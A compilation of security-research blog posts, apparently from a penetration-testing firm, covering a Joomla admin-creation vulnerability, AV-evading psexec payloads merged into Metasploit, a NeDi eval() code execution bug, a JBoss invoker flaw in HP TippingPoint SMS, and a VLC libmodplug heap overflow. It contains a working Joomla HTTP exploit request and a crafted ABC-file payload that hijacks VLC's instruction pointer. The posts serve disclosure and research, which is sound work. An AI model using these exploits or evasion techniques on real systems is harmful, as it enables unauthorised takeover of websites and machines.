Joomla! Admin user creation (3.4.4 → 3.6.3)

On October 25th, Joomla! was updated to version 3.6.4 to address two vulnerabilities :

CVE-2016-8869 concerning registration with elevated privileges.
CVE-2016-8870 concerning account creation while registration is disabled.

In this post, we wanted to quickly discuss the vulnerability and its impact on vulnerable installations.

Upon patch-diffing the two versions, we noticed that an entire method had been removed from the components/com_users/controllers/user.php file : the register method from the UsersControllerUser class.

patchdiff

Normally, the register method used by Joomla! is the one from the UsersControllerRegistration class, in components/com_users/controllers/registration.php.

The deleted one is most likely a leftover from old patches, and doesn’t enforce a check on whether or not user registration is enabled (as opposed to the UsersControllerRegistration.register method).

Moreover, the $data array is supposed to be sanitized in the first line below, but the unsanitized value is then used in the register function at the end of this snippet, allowing us to submit custom data such as group and uid values.

novalidation

We can call this method by posting our registration values on the index.php?option=com_users&task=User.register URL.

POST /index.php?option=com_users&task=User.register HTTP/1.1
 Host: localhost
 Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 User-Agent: python-requests/2.11.1
 Cookie: 96b8cb33d84fb0aa459957bcad81cf90=go86e62fsve2a3jaqdmk6h6oq4
 Content-Length: 284
 Content-Type: application/x-www-form-urlencoded

user[password1]=exploit&user[username]=exploit&user[email2][email protected]&user[password2]=exploit&user[name]=exploit&user[email1][email protected]&user[groups][]=7&7c48521fa302676bada83d0e344011f2=1

The newly created user is then found on the server  :

accindb

For a valid request, we need to retrieve a CSRF Token and post it with a value = 1.

We are able to specify a custom user[id] value. If that id pre-exists in the database, the corresponding user will be overwritten during the registration.

Additionally, we can get high privileges by posting an array of user[groups][] values that will be assigned to the account. The default group id for Administrators is 7.

However, the only way to get the SuperAdmin group (8 by default) is to overwrite a pre-existing SuperAdmin user by specifying his user id.

Note that if user registration is disabled, the new/overwritten user will be blocked from logging in resulting in a denial of service for the SuperAdmin account.

In order to find and compromise a SuperAdmin account, it is possible to bruteforce all user ids and try to create a user with all possible groups. This will ensure that only the existing SuperAdmin accounts are overwritten (only the SuperAdmin ids can be overwritten to have SuperAdmin rights).

To create an admin account when the Administrator group id isn’t 7, it is possible to assign all the group ids from 1-99 (but leave the SuperAdmin group id out).

Download the PoC

Metasploit psexec resurrect

What a joy !

I just received tonight this nice email from github :

Meatballs1 merged commit 1a3b319 into  from 

My 2 years old pull request to metasploit was just accepted !

Long story short

Annoyed to have to chain msfencode and msfencode and msfencode to bypass anti-virus during penetration testing, we wanted to create some packers that do the job. Better than that, we wanted to integrate it in metasploit to use it with all the framework features and improve our performances :D.

I firstly figured it out that most of AVs detect ‘exe’ loader creation technique (from msfpayload) even if you put a “foobar” payload : echo -n “foobar” | msfencode -t exe -e generic/none => HIGH SCORE on virustotal.

I proposed “exe-only” technique. Shortly, it write the payload at the original entry-point of your exe template and put the section RWX so it reduces the loader signature to one RWX section only.

So next we could focus on the payload encoding.

For information, I scanned every native windows exe and find that ntkrnlpa.exe and ntoskrnl.exe contains RWX section (if AVs shoots files for having RWX sections, it would shoot Windows native exe too).

After some debate this exe-only technique was added to metasploit.

Next part was to use it with the famous psexec module that nobody use anymore because every AVs trigger it.

It’s simply because service executable created by psexec module use subsitution method, replacing “PAYLOAD:” with the payload in a template. Again, AVs trigger template regardless of the payload and to create a working template it was such a pain that we prefered use a “normal” executable and send it using psexec custom_exe feature…

So I wanted to use the previously merged “exe-only” technique to create a register service payload prepended to the user encoded payload.

That’s that stuff that took two years to land in Metasploit, mostly because I’m a noob in ruby and git (booo) and a little bit of scepticism from some metasploit guys.

Anyway, I’m proud it’s finally merged, you could just track it for fun :

07/09/2012 – https://dev.metasploit.com/redmine/issues/7231

14/10/2012 – https://github.com/rapid7/metasploit-framework/pull/903

19/05/2013 – https://github.com/rapid7/metasploit-framework/pull/1850

20/11/2013 – https://github.com/rapid7/metasploit-framework/pull/2657

07/06/2014 – Merged !

I hope you will re-use psexec now and I’m sure it bypass a lot of BIG AV at this moment because their sandbox executes the service PE that actually register itself to the SVC manager and exit. SVC manager then re run the PE beginning at the registered service entry-point.

It was very cool to speak with Metasploit guys and I know I would have to persevere for my next pull request !

NeDi Remote Code Execution

During a recent intrusion test, we discovered that NeDi was used in our target infrastructure. Since this application’s source code is freely available on the developer’s website (www.nedi.ch) I thought I’d have a look and see whether it would be possible to take control of a server through it.

It didn’t take too long to discover a call to PHP’s eval function in file inc/graph.php:


function drawFunction($function, $dx = 0.1) {
$xold = $x = $this->x0;
eval("$yold=".$function.";");
for ($x += $dx; $x <= $this->x1; $x += $dx) {
eval("$y = ".$function.";");
imageLine($this->img, $this->posX0+$xold*$this->scale,
$this->posY0-$yold*$this->scale,
$this->posX0+$x*$this->scale,
$this->posY0-$y*$this->scale, $this->grn);
$xold = $x;
$yold = $y;
}
}

We see that parameter $function is used directly in the eval(). Where does this particular parameter come from? Well drawFunction is called from page OtherPlot.php:


$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : '';
$res = isset($_GET['res']) ? $_GET['res'] : 'vga';
$xf = isset($_GET['xf']) ? $_GET['xf'] : 4;
$yf = isset($_GET['yf']) ? $_GET['yf'] : 4;
$xt = isset($_GET['xt']) ? $_GET['xt'] : 4;
$yt = isset($_GET['yt']) ? $_GET['yt'] : 4;
$f = isset($_GET['function']) ? $_GET['function'] : 'sin(30 * $x) * 1 / cos($x) / $x';
# $f='tan($x - $x * cos(pi() * $x))';

if ($cmd=="img"){
include_once ("inc/graph.php");
$graph = new FunctionGraph($xf,$yf);
$graph->drawAxes();
$graph->drawFunction($f, 0.01);
$graph->writePNG();
$graph->destroy();
die;
}

As you can see, the parameter which is sent to the vulnerable function is taken directly from the function GET parameter.

Moreover, this particular piece of code can be called by an unauthenticated user, meaning that it is possible to execute arbitrary code (unless there is some sort of PHP hardening going on) on the web server without needing any credentials.

After discussing the issue with Remo Rickli, who wrote the application, it turns out this is a piece of legacy code which is not used any more and will be removed in future versions. For the time being, the recommendation is to remove the Other-Plot.php and inc/graph.php files from your servers (http://www.nedi.ch/nedi-news/).

Remote Command Execution in HP TippingPoint Security Management System

During a recent security audit, SCRT discovered a TippingPoint SMS server that exposed a famously exploitable JBoss invoker to any unauthenticated user. By using this invoker, it is possible to upload new applications on the server that are then run with the permissions of the JBoss application server (which happens to be running as root in this case).  The server can then be compromised entirely by uploading new files into the SMS application’s folder and then accessing them through a Web browser. This  could be done with the help of a very practical tool called jimmix which makes it possible to invoke commands on a JBoss server from the command line.

This flaw was not discovered on the latest SMS firmware at the time, as the tested version was 3.5.0.10861. An initial analysis of the latest version (3.6.0.31698.1) seemed to show that the vulnerability had been patched. But after a little digging, we discovered that this was not the case. The vulnerable invoker had only been moved to a restricted folder that now required authentication. However, the authentication mechanism was flawed (as it is in most JBoss 4 servers) and it was possible to bypass it by tampering with the HTTP verbs that are sent to the server. For example, we could access the invoker by using the HEAD method instead of GET. The vulnerability was therefore confirmed on the latest version of the SMS firmware on branches 3.5 and 3.6!

Exploitation still leads to complete root compromise of the appliance or virtual machine, making it possible to view or modify IPS protection profiles and retrieve encrypted user passwords.

The vulnerability was reported to HP who have now issued a patch for both versions 3.5 and 3.6 of their SMS firmware. The patch simply removes the handlers for the JMX invokers which can no longer be interacted with.

CVE-2013-6201 was attributed to the vulnerability and HP published a bulletin on the 4th of March about the issue : HPSBHF02965. Make sure you update your SMS servers as soon as possible.

 

VLC + ABC parsing seems to be a CTF challenge

Checking the libmodplug source code with 0vercl0k some years ago, we gave up on the abc file parsing because it was too indigest and we were too lazy…

For fun, last week, I decided to take the bull by the horns.

ABC soundsystem !

The abc format is defined as “the text-based music notation system” it rings like midi files and so has a complex syntaxe (close to the musician tablature).

T:Sadi Moma
C:Trad.
M:7/4
L:1/8
F:http://www.gnu.org/music/sadi-moma.abc
Z:Joakim Olsson
K:G
O:Bulgarian
V:1
d2 c B2 A2|B2 c B A G2|G3 A3 B|c3 B2 B d|A3 A4|d2 c B4|d2 c B2 A2|B2 c B A G2|
G3 A3 B|c3 B2 B d|A3 A4|A7|]
V:2
B2 A G2 D2|G2 G G2 D2|G3 G4|G3 G2 G2|D3 D4|G7|B2 A G2 D2|G2 G G2 D2|G3 G4|
G3 G2 G2|D3 D4|E7|]

More abc definition and exemple can be found on http://abcnotation.com/

Anyway, libmodplug is the library that allows reading this kind of file format and is shipped with VLC.
You can check all this marvelous 5189 lines of code here.

Complexity == bugs

A lot of crash can be found just by fuzzing this file format, 0vercl0k has quickly tried that with Radamsa and the results were a lot of “divide by zero” and others non exploitable bugs.

Happily reading the code I found one integer overflow leading to heap overflow and one other heap overflow.

The first one is in abc_set_parts() that you can trigger using the “P:” case. This function allows the usage of a kind of compression syntax as explain in a comment L1833 : // decode constructs like “((AB)2.(CD)2)3.(AB)E2” to “ABABCDCDABABCDCDABABCDCDABEE”

It starts to count how many bytes it will need to allocate before uncompress the string.

j=0;
k=0;
for( i=0; p[i] && p[i] != '%'; i++ ) {
 if( isupper(p[i]) ) {
  j++;
 }
 if( isdigit(p[i]) ) {
  n=abc_getnumber(p+i,&k);
  if( k == 0 )
   k = 1;
  if( p[i-1] == ')' )
   j *= k; // never mind multiple parens, just take the worst case
  else
   j += k-1;
  i += n-1;
 }
}
q = (char *)_mm_calloc(h, j+1, sizeof(char)); // enough storage for the worst case

abc_getnumber() converts a decimal string into integer so it’s easy to make j equals to 0xffffffff and so allocate 0 byte in _mm_calloc function.

A big problem here is the charset defined line 1825 : “ABCDEFGHIJKLMNOPQRSTUVWXYZ().0123456789 ” so it seems difficult to successfully exploit this bug with only upper alphanumerical chars.

The second one occurs in abc_MIDI_drum() and abc_MIDI_gchord().
In this two cases, bytes are copied in a fixed 80 bytes buffer in ABCHANDLE structure until the copied byte is no longer in a charset.

Again in this case, the charset limits the impact of our overflow. (“fbcz0123456789ghijGHIJ” for gchord and  “dz0123456789” for drum).

Then I started to cry, thinking the only way would be to exploit heap allocator using house of poney technique with this limited charset…

CTF begins o/

Some other path (maybe to a successfull exploit) appears before attacking the allocator.

Indeed, we overflow a buffer in the middle of ABCHANDLE structure so there are some interesting pointers we may control.

ABCTRACK *tp, *tpc, *tpr;

And if we look closely to abc_MIDI_drum() it actually appears possible to write any byte we want.

It firstly counts how many ‘d’ there is in your string, then writes integers from your string following the ‘d’ separated by space converted by abc_getnumber() in h->drumins then h->drumvol (that are fixed 80 bytes buffer too)  !!! Add to this the fact that it writes a ‘1’ after each ‘d’ it copies and that makes this exploit exactly like a CTF brainfuck challenge :).

Brainfuck 1

Using this funny feature, it is possible to control the three pointers without breaking heap structure.

To do this we need to calculate the space between the drum buffer and the tp pointer.

char drum[80]; // last setting for drum 
char drumins[80]; // last setting for drum 
char drumvol[80]; // last setting for drum 
uint32_t barticks;
//parse variables, declared here to avoid parameter pollution
int abcchordvol, abcchordprog, abcbassvol, abcbassprog;
int ktrans;
int drumon, gchordon, droneon;
int dronegm, dronepitch[2], dronevol[2];
ABCTRACK *tp, *tpc, *tpr;

80*3+4*14 = 296

So we write 152 ‘d’ that will become 152 ‘d1’ == 304 bytes  to overflow tp and tpc pointer.

But, after that, it writes the numbers following your ‘d’ chain after 80 bytes of ‘d1’ as many time it finds ‘d1’. So to prevent stopping the numbers copy, we have to write 152/2=76 ’99 48′ that will fill the drumins buffer with ‘d1′ (99+1==’d’ and 48+1==’1′) and then continue the number copy in the drumvol buffer.

This time no incrementation occurs so we will write 76 ‘100 49’.

Now the pt address is equal to ‘d1d1’.

drumvol buffer is placed 296-(80*2)=136 bytes before the pt pointer.

So, to control the pt pointer, we have to write.

'd'*152+' 99 48'*76+' 100 49'*68+' 1 2 3 4 5 6 7 8 9 10 11 12 100 49 100 49'

So pt = 0x04030201

Brainfuck 2

Now the challenge is to find a path where the h->pt pointer is used with some data we control and achieve an arbitrary write.

In every abc syntaxe possibilities, it seems to be a way !

Two functions must be avoid : abc_locate_track() and abc_add_event() that rewrite tp pointer or write non controlled data in it.

When you begin a line with a ‘+’ it is possible to call abc_parse_decorations() without calling this two functions.

It’s the line 2316 that interest us “tp->volume = vol;”

As we control tp pointer, vol value will be writed at the address we want ! But unfortunately, vol value can only be 0, 1, 15, 30, 45, 60, 75, 90, 100, 105, 120, 125 or 127.

POC Exploitation

Almost perfect ! We have an arbitrary write (almost) that we can call as many times as we want.

What can we do with this… I didn’t find any idea to bypass ASLR nor NX mitigation so I at least focused on a POC on the VLC 2.0.7 under windows XP without ASLR nor NX (that’s just a CTF-like challenge after all ^^).

The idea is to rewrite the strcpy address in the Import Table that we can call line 4159 “strcpy(buf,m_szNames[0]);” with buffers we control. If we can convert strcpy into a pop + ret, we win !

To find this, we tried on each strcpy address byte, every bytes we can from abc_parse_decorations().

And that’s worked !

To resume + POC

To quickly resume, using overflow we can overwrite an ABCTRACK structure pointer in the ABCHANDLE structure then write some few bytes in the vol variable of ABCTRACK. We choose to change the strcpy pointer in the import table into a ‘pop + ret’ gadget. Then we change the title triggering the false strcpy and controling the EIP.

The following part of the shellcode ! (166 bytes long)
X:1
T:some shellcode (36 bytes long)
M:6/8
L:1/8
R:jig
K:G
I:MIDI drum dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 35 100 76 101 5 6 7 8 9 10 11 12 100 49 100 49
+ffffffffffffffffffffffffffffffffff+
I:MIDI drum dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 36 100 76 101 5 6 7 8 9 10 11 12 100 49 100 49
+ppppppppppppppppppppppppppppppppp+
I:MIDI drum dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 99 48 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 100 49 36 100 76 101 5 6 7 8 9 10 11 12 100 49 100 49
+ppppppppppppppppppppppppppppppppp+
T:Let's crash !

Maybe some guys will find a better way to exploit it, maybe using firefox to call vlc on the malicious abc file, maybe another way…

Thx for reading !